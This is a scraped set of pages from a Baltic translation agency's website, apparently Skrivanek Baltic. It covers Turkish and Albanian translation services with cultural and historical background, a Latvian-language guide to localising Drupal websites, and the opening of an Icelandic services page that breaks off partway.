more than 30 years of experience in the field of language services in the Baltics and in northern countries. Our team of interpreters, translators, and linguists offers you standard document and notarised translations. Skrivanek provides not only written translation services in Turkish but also oral translations, as well as stylistic improvements, editing and checking of terminology of some fields. For juridical persons, we most often perform these text translations from/to Turkish: technical texts, judgments of the court, e-commerce, and homepages. For private individuals, we offer translations of civil status acts, identity documents – passports, marriage certificates, birth certificates, education documents, etc. At the client's request, we consider the possibility of performing any type of translation. Our native Turkish editors and proofreaders will take care of the accuracy of the translation, as well as the sound and style of the translated text. THE TURKISH LANGUAGE IN BUSINESS Turkish is the 12th most spoken language in the world. Turkey quickly developed an economy that helps itself play an important role in international business. That is why learning the Turkish language is useful, especially for private individuals and companies that are interested in entrepreneurship in Turkey. Carrier opportunities in Turkey are wide in various fields too, starting with politics, technologies, the financial sector, and ending with tourism. If you surprise your cooperative partner in Turkey with knowledge of their native language, you can be assured that the cooperation agreement is already signed. How do business discussions with a Turkish businessman happen? Official meetings in the office environment alternate with informal discussions in cafés and hotel lounges. In both cases, it is vague without a concrete plan. In business-like discussions, Turks joke little and unnoticeable. They tend to speak straightforwardly and are unwilling say “no”. Being polite and seeking an agreement or a compromise is much more important than informing or explaining and justifying the differences of opinions. That is why the atmosphere during conversations is usually positive, though its result is often unclear. Moreover, oral communication dominates in Turkish culture, which is why the said and heard carries more weight than written. The majority of deals happen during an oral agreement and it is difficult to get a written affirmation. It is not easy to learn Turkish for those who know European languages, especially because the formation of adjectives and sentence order for is outlandish for the European mindset. Educated inhabitants of Turkey can speak English, older people know French. There is a bigger possibility to communicate in German with the rest, especially outside the bigger cities. The Turkish language, unfortunately, does not have a big role in business outside Turkey. TURKS IN LATVIA AND BILATERAL RELATIONS Ethnic minorities and their culture are an integral and important part of Latvian society. Turkish Latvians are one of the numerically small minorities of Latvia. According to the portal of official statistics of Latvia, in 2021, 253 Turks were living in Latvia. In the 19th century, the Tsardom of Russia and the Ottoman Empire would often be at war. The last war between these two large empires started in 1877. It lasted for two years and is notable for the fact that general martial law was introduced in the Russian Empire at that time. More than one Latvian would appear in the warzone of Russians and Turks. Later, hundreds of Turks came to the banks of the Gauja as war prisoners. The first Turks came to Latvia in winter of 1877 when they were brought to regions of Cēsis and Līvāni as war prisoners. Some of the war prisoners eventually died due to the unsuitable weather conditions and various diseases but others were in the end set free and stayed to live in the city of Cēsis. Turkish cemeteries found in Cēsis are recognised as one of the 100 extraordinary culture heritages of Latvia. The diplomatic relations between Latvia and Turkey were founded in January of 1925. Turkey never recognised Latvia’s annexation and incorporation to USSR. Since 1994, various agreements have been made in fields of tourism, military teaching, defence, education, science, culture, and sport. In 2005, a contract was made between governments of both countries about collaboration in education, science, culture and sport – it provided scholarships to study Latvian language and literature. Students and teaching staff from Turkey can apply for a scholarship provided by the Ministry of Education and Science for study or research in Latvia’s higher education institutions or for participating in summer schools organised by the higher institutions. There is a collaboration in some cultural fields, for example, literature, cinema, music, and dance, cultural education, and art. The Latvian Academy of Culture has a subprogram “Connections between cultures Latvia-Turkey”. The program has been supported by the Turkish embassy and Yunus Emre Institute for several years now. The Latvian Academy of Culture also cooperates within the Erasmus+ program. There are agreements with 14 higher education institutions. There is a positive dynamic in the bilateral relations of both countries. Latvia and Turkey have shown a will to continue the political dialogue, higher level of exchange visits, and promote a more active economical collaboration. The Turkish embassy in Latvia looks after its citizens in Latvia. It is possible to learn Turkish in Latvia in some language schools and also at the University of Latvia. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO TURKISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Turkish; Turkish to Latvian; Estonian to Turkish; Turkish to Estonian; Lithuanian to Turkish; Turkish to Lithuanian; Russian to Turkish; Turkish to Russian; Czech to Turkish; Turkish to Czech; Polish to Turkish; Turkish to Polish; Ukrainian to Turkish; Turkish to Ukrainian; Turkish to Spanish; Spanish to Turkish; German to Turkish; Turkish to German; Italian to Turkish; Turkish to Italian; French to Turkish; Turkish to French; Danish to Turkish; Turkish to Danish; Norwegian to Turkish; Turkish to Norwegian; Swedish to Turkish; Turkish to Swedish; Finnish to Turkish; Turkish to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO TURKISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Turkish; Turkish to Latvian; Estonian to Turkish; Turkish to Estonian; Lithuanian to Turkish; Turkish to Lithuanian; Russian to Turkish; Turkish to Russian; Czech to Turkish; Turkish to Czech; Polish to Turkish; Turkish to Polish; Ukrainian to Turkish; Turkish to Ukrainian; Turkish to Spanish; Spanish to Turkish; German to Turkish; Turkish to German; Italian to Turkish; Turkish to Italian; French to Turkish; Turkish to French; Danish to Turkish; Turkish to Danish; Norwegian to Turkish; Turkish to Norwegian; Swedish to Turkish; Turkish to Swedish; Finnish to Turkish; Turkish to Finnish and others. --- > Document translation in Albanian language. Interpreting services and many more various Albanian language solutions! Get a free quote! - Published: 2022-10-14 - Modified: 2025-07-09 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN ALBANIAN HOW MUCH DO ALBANIAN TRANSLATIONS COST? The price for translations to and from Albanian is calculated individually for each order. The price calculation takes into account parameters specific to your order. For example, for consecutive interpreting and simultaneous interpreting the price is based on the time of the service, the location of the event, travel expenses, and daily allowance. For simultaneous interpreting there are additional costs for technical support depending on the number of participants at the event, etc. The price of Albanian translation is determined by the volume and readability of the material to be translated, the translation deadlines, the complexity of the terminology, repetitions in the text, the complexity and formatting of images and graphics, proofreading, as well as other additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Of course, the price list for both translation and interpretation (simultaneous and consecutive), localisation and adaptation services from and into Albanian is an integral part of our cooperation agreement with our clients. Skrivanek's translation project managers prepare detailed information on the price of a translation before the start of each translation project. The price estimate is ready within 30 minutes. For written works, the number of words in the source text, repetition, complexity of graphic elements and other parameters are taken into account when setting the price. We look forward to receiving your translated material by email for the price. Contact Skrivanek Baltic today for a free quote on Albanian translation or any other combination of translation and related business services. Our Albanian language services include: Albanian Document Translation Albanian Simultaneous Interpretation Albanian Linguistic Validation Albanian Consecutive Interpretation Albanian Transcription Albanian Typesetting and Graphics Albanian Voiceovers and Subtitling Albanian Staffing Solutions Albanian Multicultural Marketing Albanian Document Management Albanian Deposition Services Albanian Virtual Data Room Services Albanian E-learning Support Looking for a language solution in Albanian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT ALBANIAN LANGUAGE AND ALBANIA Life in Albania differs from the usual European lifestyle where everyone is busy getting somewhere and are occupied all the time. The Albanians live slowly, and peacefully and don't worry about the little things in life. This is a country where simplicity and its own rules govern, and their goal is to make their life more pleasant for themselves. Albania does not follow some set principles – through the ages they have lived and not complained about anything. Albania, with its ancient and complex history untouched nature – rocky slopes, turquoise blue sea, lakes, rivers and forests is – one of the most beautiful countries in Europe. Local resident hospitality and cordiality makes this country’s southern charm. Older Albanians are so proud of their country and its ancient traditions, that even daily they might be walking around in folk costume. The Albanian language is unique, you won't find any similar in any other country, because you won't hear any similar words in other languages This is a land of great contrasts, where the simple is mixed with the subtle, the spiritual and the mysterious. Albanian is an isolated Indo-European language and there have been many discussions about its place in the Indo-European language family. The dawn of the Albanians and their language is still unclear. Some linguistic researchers point out that Albanian has come from the Illyrian language, one of the oldest Balkan Peninsulas languages. However, many studies have shown that the Illyrian language has a lot of similarities with the Romanian and Celtic languages. But Albanian phonologically and morphologically is more similar to the Slavic, Indo-Iranian and Armenian languages. The possibility that Albanian has originated from Dacian or even Thracian languages is also accepted. The time of the Roman empire from 2nd to 4th century BC, as well as the Slavic colonisation from the 6th to 7th century, the Byzantine influence and the incorporation of part of the ethnic territory into the Bulgarian and Serbian administered territories, as well as the struggle over the prevailing confrontation between the Catholic and Orthodox Churches have left their influence on the Albanian language. Albanian is the official language in Albania and Kosovo and is one of the official languages in North Macedonia and Montenegro. The Albanian language has 2 dialects – the Gheg dialect which is spoken in the north of Albania and in Kosovo, and theTosk dialect – in the south of Albania. They mainly differ in the phonetic aspect, but the speakers can understand each other without difficulty. 80% of Albanian literary language is based on the Tosk dialect. Since the middle ages Albanians who live in the south of Italy speak the Arbëreshë language, and the Arvanitika language is spoken in Greece. The official regulator of the Albanian language is the Social Sciences Division of the Academy of Sciences of Albania. The only Albanian who has received a Nobel Prize is Mother Teresa. From 1941 to 1992 any all religion was banned in Albania under the communist regime. Thus Albania was the first atheist country on the planet. There are no McDonald's restaurants in Albania, but there is a similar fast food chain called Kolonat. Every evening, Albanian villages and towns have an interesting activity, traffic is closed and everyone goes for a walk to burn off the calories from dinner. This evening walk even has a special name – xhiro. Albanians do not call their country Albania, but Shqipëria (Land of the Eagles). One of the most surprising facts about Albania is that it has a population of 3 million, but at least 7 million Albanians live outside its borders. The main reason for emigration, which started in the early 1990s, was the high unemployment in Albania. By 1991, Albania had only 3,000 cars for every 3 million inhabitants. Under the Communist regime, only Party members were allowed to own a car. In 1995, the Albanian government introduced a traffic light tax, but drivers in Skadar refused to pay it because they thought it was absurd. The reason – there are no traffic lights in Skadar! Since the 15th century, Albanians have had a code of honour – Besa. It means keeping a promise. Besa is one of the most important facts about the culture of the Albanian people. Albanians are incredibly superstitious – at every turn, they see a sign that warns them of future events. If a man happens to visit a hairdresser in Albania, don't be surprised to get a slap on the head after cutting your hair. For Albanians, it's just a friendly gesture, like wishing someone good health. THE ALBANIAN ALPHABET Of the earliest known writings from the 14th century, Albanian has been written using many different alphabets. The earliest written Albanian texts come from the Gheg region, based on Italian or Greek. Originally, the Tosk dialect was written in the Greek alphabet and the Gheg dialect was written in the Latin script. Both dialects were also written in the Turkish-Arabic alphabet that was in use in the Ottoman Empire, in Cyrillic and in some local alphabets. Writers from northern Albania under the influence of the Catholic Church used Latin letters, those from southern Albania under the influence of the Greek Orthodox Church used Greek letters, and the rest of Albania under the influence of Islam used Arabic letters. The first attempts to create an original Albanian alphabet were made between 1750 and 1850. These hundred years in Albania were an era of astonishing orthographic diversity. During this period, Albanian was written in at least ten different alphabets, a record for a European language. The modern Albanian alphabet is the Latin alphabet, which consists of 36 letters (7 vowels and 29 consonants). This is one of the two versions approved at the Monastir Congress, organised by Albanian intellectuals in November 1908. The letters ë and ç and ten digraphs (dh, th, xh, gj, nj, ng, ll, rr, zh and sh) were added to the Latin alphabet. The Albanian alphabet does not contain the letter w. HOW DIFFICULT IS ALBANIAN? The difficulty or ease of learning a particular language is influenced by factors such as the availability of learning resources, the learner's exposure to the language, the learner's mother tongue and the specific characteristics of the foreign language – grammatical structure, pronunciation, alphabet, etc. Languages with complex grammatical structures are often considered difficult, and Albanian is one of them. Albanian is classified as a level 2 language along with Hungarian, Ukrainian, Hindi, Malay and others. Based on this classification, Albanian is a difficult language to learn. It is not as difficult to learn as Arabic or Chinese, but not as easy as Swedish, Portuguese or Spanish. Compared to other languages in the same category, Albanian is relatively simple. WHERE AND HOW MANY SPEAK ALBANIAN? The number of Albanian speakers worldwide could be around 8-10 million. A relatively small number live in Albania – around 3 million, and in Kosovo around 2. 2 million. There are also relatively large numbers of Albanian speakers in northern Macedonia and Greece. Albanian migration out of Albania dates back to the 15th century. Interestingly, the Albanian diaspora is significantly larger than the population of the country itself. The largest Albanian diaspora communities are in Italy, Argentina, Romania, Croatia, Turkey, Scandinavia, Germany, Switzerland and the USA. Other important communities are in Australia, Brazil, Canada, France, Belgium, New Zealand and the United Kingdom. The Albanian diaspora continues to grow as a result of the country's high unemployment rate. ALBANIAN LANGUAGE INTERPRETER AND TRANSLATOR Skrivanek Baltic's team of Albanian translators and interpreters work with Albanian translations of standard documents, complex technical translations and notarised translations. The Skrivanek translation agency also provides proofreading and stylistic improvement of texts in Albanian, and SEO content creation adapted to the Albanian market and Albanian mentality. Our language experts will be happy to tell you about cultural differences, business etiquette, Albanian history and traditions. For business clients, our most common translations to and from Albanian include: website and e-commerce content, advertising slogan adaptations, cooperation agreements, legislation, court rulings and business documentation. We also provide consecutive interpreting for business or other conversations, conferences and other events, online on Zoom and other online platforms. For individuals, we translate identity documents, marriage certificates, children's birth certificates, education documents, passports, medical documents, etc. from and into Albanian. ALBANIAN LANGUAGE IN BUSINESS In Albania, most public officials speak English or another European language – French, Italian, German or Greek. Unfortunately, this is not always the case in private business; Albanian entrepreneurs prefer to speak their mother tongue, although they do speak at least one foreign language, the most common of which are English and Italian. Interpreters are widely used in all kinds of meetings, sometimes as an assistant or secretaries to the Albanian host. Contracting in Albania is either oral and/or written. Albanians do not like paperwork and try to keep things simple. In private companies, the same person can be the manager, secretary, accountant and driver. Most young Albanians (under 35) are fluent in English and often in other languages, mainly Italian. Albanian is not used as a business language outside Albania, but it is important to know it at a beginner's level if you have the opportunity and desire to develop your business in Albania. ENVER HOXHA We know relatively little about Albania, but interest in the country continues to grow, both culturally and in terms of tourism. As for the latter, travelling around Albania, one can encounter at every turn "races of the reign of Enver Hoxha in Albanian politics, architecture, people's thinking, religion and history. Who was this Enver Hoxha? Enver Hoxha was the founder and leader of the People's Republic of Albania and Secretary of the Albanian Workers' Party. He was prime minister of Albania from 1944 to 1954 and foreign minister from 1946 to 1953. Hoxha imposed economic isolation from the rest of Europe, banned all religions and established strict state control over the population. A look around in Albania reveals that Albanians were inspired, in Hoxha’s time, in many areas by North Korea. The reasons, it turns out, lie in the deep worship of dictatorship and protectionism that the great Enver Hoxha taught the people over many decades, ruling after the Second World War until the mid-1980s. During his reign, Hoxha gradually destroyed all diplomatic and economic relations between Albania and the Soviet Union, China and the Yugoslav republics. Thus, at the end of his era, which coincided with his death in 1985, Hoxha had completely isolated Albania from the rest of the world. It knew neither the communist East nor the capitalist West. Although the first multi-party elections were held in 1991, the population voted overwhelmingly for the Communist Party out of fear. It was only years later that multi-party coalitions started to form. For decades, dictator Hoxha tried to convince people that they lived in one of the most developed and happiest countries in the world. The state intervened in every possible aspect of people's lives, including their private lives. The interference took the form of absurd prohibitions – no religious rituals, no cats or dogs, no phone calls abroad, no private cars, no beards, etc. Even the train tracks are said to have ended at the border. Little was allowed, but what was allowed was in fact compulsory. Hoxha was known for his strong political views, which he put into practice. For example, he called Albania the first atheist country in the world. Official figures currently show that the majority of the population is Islamic, but in reality, only about 5% of these believers practise their religion. In fact, Albania under Hoxha 's influence has today become one of the few exceptions in the world where different religions peacefully coexist and even support their neighbour's choices. In the 1970s and 1980s, Hoxha ordered the construction of bunkers throughout Albania, due to territorial disputes with neighbours and a paranoid fear of unjustified threats of attack. 222,000 bunkers were planned, but only about 174,000 were built. Many workers died during the construction of the bunkers, which is why the bunkers have plaques commemorating them. Bunkers are everywhere in Albania, big and small, and it is definitely the country with the most bunkers in the world. Crossing the Albanian border, you get the feeling that you've arrived at a secret military facility or a Hollywood film set where a movie about war is being shot – everywhere these peculiar architectural forms poke out of the ground. Of course, they are not so visible in the cities, but the border meadows are literally covered with them. Bunkers have also been built on roadsides, in backyards, gardens and parks – wherever the enemy might suddenly arrive. Statistics show that Albania has about 24 bunkers per square kilometre. It is both ridiculous and tragic because this utterly pointless bunkerisation programme weakened the country's economy by wasting huge resources that the country had so badly lacked for decades – people lived in unimaginable austerity, even getting electricity three times a day for a short while. It was only after 1990 that the State abandoned the maintenance of the bunker system. Some of the bunkers are now used as sheds, storage or other utility rooms, some have been converted into roadside cafés, but many are simply abandoned. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ALBANIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Albanian; Albanian to Latvian; Estonian to Albanian; Albanian to Estonian; Lithuanian to Albanian; Albanian to Lithuanian; Russian to Albanian; Albanian to Russian; Czech to Albanian; Albanian to Czech; Polish to Albanian; Albanian to Polish; Ukrainian to Albanian; Albanian to Ukrainian; Albanian to Spanish; Spanish to Albanian; German to Albanian; Albanian to German; Italian to Albanian; Albanian to Italian; French to Albanian; Albanian to French; Danish to Albanian; Albanian to Danish; Norwegian to Albanian; Albanian to Norwegian; Swedish to Albanian; Albanian to Swedish; Finnish to Albanian; Albanian to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ALBANIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Albanian; Albanian to Latvian; Estonian to Albanian; Albanian to Estonian; Lithuanian to Albanian; Albanian to Lithuanian; Russian to Albanian; Albanian to Russian; Czech to Albanian; Albanian to Czech; Polish to Albanian; Albanian to Polish; Ukrainian to Albanian; Albanian to Ukrainian; Albanian to Spanish; Spanish to Albanian; German to Albanian; Albanian to German; Italian to Albanian; Albanian to Italian; French to Albanian; Albanian to French; Danish to Albanian; Albanian to Danish; Norwegian to Albanian; Albanian to Norwegian; Swedish to Albanian; Albanian to Swedish; Finnish to Albanian; Albanian to Finnish and others. --- > Kāds ir efektīvākais risinājums Drupal platformā izstrādātas mājaslapas tulkošanai? Kā sasniegt klientu pasaules otrā malā? - Published: 2022-10-13 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/drupal-platforma-izstradatas-timekla-vietnes-tulkosana-un-lokalizacija/ - Translation Priorities: Optional KĀ TULKOT DRUPAL PLATFORMĀ IZSTRĀDĀTU VIETNI? Mājaslapas satura vadības sistēma Drupal ir viena no visplašāk pielāgojamām tīmekļa vietņu izstrādes platformām, tāpēc tai ir būtiska loma Web 2 tirgū. Pateicoties plašam iespēju klāstam un funkcijām, Drupal rada būtisku konkurenci citām satura pārvaldības sistēmām. Tomēr daudzvalodu tīmekļa vietnes izstrāde ar Drupal bez profesionālu tulkošanas un lokalizācijas rīku jeb CAT atbalsta var būt ļoti smags pārbaudījums. Līdzīgi kā WordPress un Joomla arī Drupal – pasaulē ceturtajā populārākajā satura pārvaldības sistēmā – tīmekļa vietnes lokalizācija un tulkošana ir praktisks veids, kā piedāvāt tās funkcionalitāti, saturu un tēmas lapas apmeklētājiem dzimtajā valodā. Drupal 8. versijā ir iekļauts tīmekļa vietnes valodu pārslēgšanas rīks, kas apmeklētājiem ļauj ērti izvēlēties sev vēlamo valodu. Tādējādi tīmekļa vietnes satura profesionāliem tulkošanas un lokalizācijas risinājumiem ir vēl lielāka nozīme. Ja esat gatavi tulkot Drupal platformā izstrādātu tīmekļa vietni un vēlaties tulkošanas procesu padarīt pēc iespējas vienkāršāku, sekojiet tālāk aprakstītajām norādēm. Skatiet arī:Wordpress tīmekļa vietnes tulkošana un lokalizēšana ar wpml spraudni. Vēlaties tulkot Drupal platformā izstrādātu tīmekļa vietni? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācija, vēlams norādīt arī tīmekļa vietnes URLKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par Drupal platformā izstrādātas tīmekļa vietnes tulkošanu jau tūlīt! KĀ SOLI PA SOLIM TULKOT DRUPAL PLATFORMĀ IZSTRĀDĀTU TĪMEKĻA VIETNI Lai efektīvi pārvaldītu tīmekļa vietnes tulkošanas procesu, Drupal sistēmā jāuzstāda četri moduļi – valodas, satura, konfigurācijas un interfeisa tulkošanas moduļi. Dodieties uz Pārvaldība (Manage)–> Paplašināt(Extend)–> izvēlieties sadaļu Daudzvalodība (Multilingual), atlasiet visus četrus moduļus un noklikšķiniet Instalēt (Install): VALODAS PIEVIENOŠANA Sāksim ar valodas izvēli. Pievienojiet tīmekļa vietnei vienu vai vairākas valodas un izvēlieties noklusējuma valodu. Ņemiet vērā, ka vispirms ir jābūt uzinstalētiem visiem četriem moduļiem. Pēc tam dodieties uz Konfigurēšana (Configuration) -> Reģions un valodas (Regional and language)-> Valodas (Language) un noklikšķiniet uz Pievienot valodu (Add Language). Lai vietnes apmeklētāji varētu pārslēgties starp valodām, jābūt aktivētam valodu pārslēdzējam. Lai pievienotu valodu pārslēdzēju, atveriet sadaļu Pārvaldīt (Manage) -> Struktūra (Structure) -> Bloka izkārtojums (Block layout). Lai pievienotu valodu pārslēdzēju, sānu joslas otrajā sadaļā noklikšķiniet uz Ievietot bloku (Insert block). Izvēlieties valodu pēc iespējas precīzāk. Piemēram, portugāļu PT atšķiras no portugāļu BR. KĀ APRĒĶINĀT TULKOJAMO VĀRDU SKAITU? Tīmekļa vietnes avota teksti atrodas dažādās vietās, tāpēc vispirms sagatavojiet sarakstu ar visu tulkojamo saturu. Piemēram, saskarne, izvēlnes, galvenes, emuāri, logrīki, tēmas, komentāri, multivides, iestrādātie kodi utt. Lai novērtētu tulkojamās tīmekļa vietnes apjomu, iesakām nosūtīt failus Skrivanek. Mēs apstrādāsim visu tīmekļa vietnes saturu ar CAT rīkiem un sagatavosim precīzus aprēķinus. Ja vēlaties paši par visu pārliecināties, varat izmantot kādu no tālāk minētajām metodēm. Saglabājiet tīmekļa vietnes saturu kā teksta dokumentus, piemēram, . docx un apskatiet aptuveno vārdu skaitu. Veiciet SQL eksportu. Dodieties uz PHPMyAdmin, pārbaudiet visu pārējo MySQL datubāzi un papildiniet kopējo vārdu skaitu. Eksportējiet visu saturu CSVformātā un izveidojiet kopiju, ja gadās pazaudēt tīmekļa vietnes saturu apstrādes laikā. Veiciet vietnes statiskās kopijas vārdu skaitīšanu no lejupielādētajiem HTML failiem. Lai lejupielādētu HTML failus, varat izmantot bezmaksas atvērtā pirmkoda tīmekļa vietņu kopētāju, piemēram, HTTrack vai WebCopy. SASKARNES TULKOŠANA Lai tulkotu Drupal platformā izstrādātās vietnes saskarni, piemēram, Sākums (Home), Kontakti (Contacts), 404 lapas saturu un citus līdzīgus tekstus, aktivizējiet Paplašināt (Extend) -> Daudzvalodu (Multilingual) moduļus un pievienojiet mērķa valodu, kā aprakstīts iepriekš. Izvēlnes pamatelementu tulkojumi tiks pievienoti uzreiz pēc valodu pakotnes importēšanas. DRUPAL TĒMAS UN MODUĻU TULKOŠANA Drupal 8. versija iekļauj tēmas atjauninājumu – Twig, kas aizstāj visus PHP veidņu failus. Tādējādi visas ar šo atjauninājumu savietojamās tēmas ir vienkārši nosakāmas un tulkojamas tīmekļa vietnes oriģinālvalodā. Īsāk sakot, ievērojot norādītos soļus, moduļu tulkošana ir ļoti vienkārša. Jums ir tikai jāpievieno mērķa valodas kods attiecīgajā modulī un jāiztulko faili, izmantojot īpašu papildinājuma moduli. LIETOTĀJU RADĪTĀ SATURA TULKOŠANA DRUPAL TĪMEKĻA VIETNĒ Tagad ir laiks ķerties klāt svarīgākajam – lietotāju radītā satura tulkošanai, piemēram, no emuāriem, tīmekļa vietnes lapām utt. Tāpat kā vairumā satura pārvaldības sistēmu tulkot varat tiešsaistē – panelī vai bezsaistē – strādājot ar XLIFF failiem. Šie faili ļauj tīmekļa vietnes saturu nosūtīt tulkošanas birojam. TULKOJUMS TIEŠSAISTĒ: TULKOJUMS BEZSAISTĒ: Uzinstalējiet Tulkošanas pārvaldības rīku (TMGMT). Šo moduli izmanto gan satura eksportēšanai un importēšanai XLIFF vai HTML formātā, gan savienošanai ar populārākajiem tulkošanas rīkiem, piemēram, Trados Studio un Memsource. Moduļus aktivizē sadaļā Paplašināt (Extend)-> Tulkojumu pārvaldība (Translation management). Lai konfigurētu XLIFF eksportu, dodieties uz sadaļu Tulkošana (Translation) -> Piegādātāji (Providers) un iestatiet XLIFF kā noklusējuma eksporta formātu. Ņemiet vērā, ka mērķa valodas lauks ir tukšs. Šādi varat eksportēt un nosūtīt failus savam tulkošanas pakalpojumu sniedzējam. Atlasiet tulkojamo saturu, importējiet vēlamajā XLIFF vai HTML formātā un integrējiet jebkurā trešās puses tulkošanas rīkā. Šeit ir aprakstīta tipiska tulkošanas darbplūsma ar XLIFF formātu. Lai tulkošanas darbu eksportētu un importētu, vispirms nepieciešams to izveidot, noklikšķinot uz cilnes Avoti (Sources). Atlasiet eksportējamo saturu. Izvēlēties avota un mērķa valodu lodziņā Izrakstīt (Checkout). Noklikšķiniet uz Pieprasīt tulkojumu (Request translation). Lodziņā Konfigurēt piegādātāju (Configure provider) atlasiet Failu apmaiņa (File exchange). Izvēlieties XLIFF faila formātu. Noklikšķiniet Iesniegt piegādātājam (Submit to provider). KĀ NOTIEK TULKOŠANA TIPISKĀ DRUPAL TĪMEKĻA VIETNĒ? Kad esat uzzinājuši, kā tulkot Drupal platformā izstrādātu tīmekļa vietni, sniegsim īsu tulkošanas procesa kopsavilkumu. Izvēlieties visu eksportējamo tulkojamo saturu. Ievadiet mērķa valodu vai izvēlieties jebkuru reģiona valodu. Lai sāktu procesu, pieprasiet tulkojumu. Izmantojiet tīmekļa kopētāju, lai aprēķinātu vārdu skaitu, un konfigurētu failu apmaiņu. Izvēlieties formātu (vēlams XLIFF). Noklikšķiniet uz Iesniegt (Submit), lai turpinātu ar katra faila tulkošanu vienu pa vienam. Lai pārskatītu un rediģētu tulkojumu, dodieties uz darba pārskatu un noklikšķiniet uz jebkura XLIFF faila. Drupal piedāvā arī bezmaksas validācijas rīku, kas ļauj pārbaudīt HTML tagus vai priekšskatīt tulkotās lapas. SECINĀJUMI 1 Drupal platformā izstrādātu tīmekļa vietņu tulkošanai nav jābūt sarežģītam procesam. Platforma iekļauj daudz lietotājam draudzīgu funkciju, būtiski atvieglojot tulkošanas procesu. Vienlaikus ņemiet vērā, ka Drupal eksportētie faili nav rezerves kopijas, un tie var nebūt ļoti noderīgi datu vai satura zudumu gadījumā. --- > Dažādu dokumentu tulkojumi islandiešu valodā. Klātienes vai tiešsaistes pasākumu tulkojumi. Citi valodu risinājumi islandiešu valodā. - Published: 2022-10-10 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/ - Translation Priorities: Optional TULKOJUMI ISLANDIEŠU VALODĀ / TULKOT ISLANDIEŠU VALODĀ CIK MAKSĀ TULKOJUMI ISLANDIEŠU VALODĀ? Tulkojumu cena no un uz islandiešu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz islandiešu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ISLANDIEŠU VALODĀ: dažādu dokumentu tulkošana islandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana islandiešu valodā; islandiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi islandiešu valodā; individuālie islandiešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina 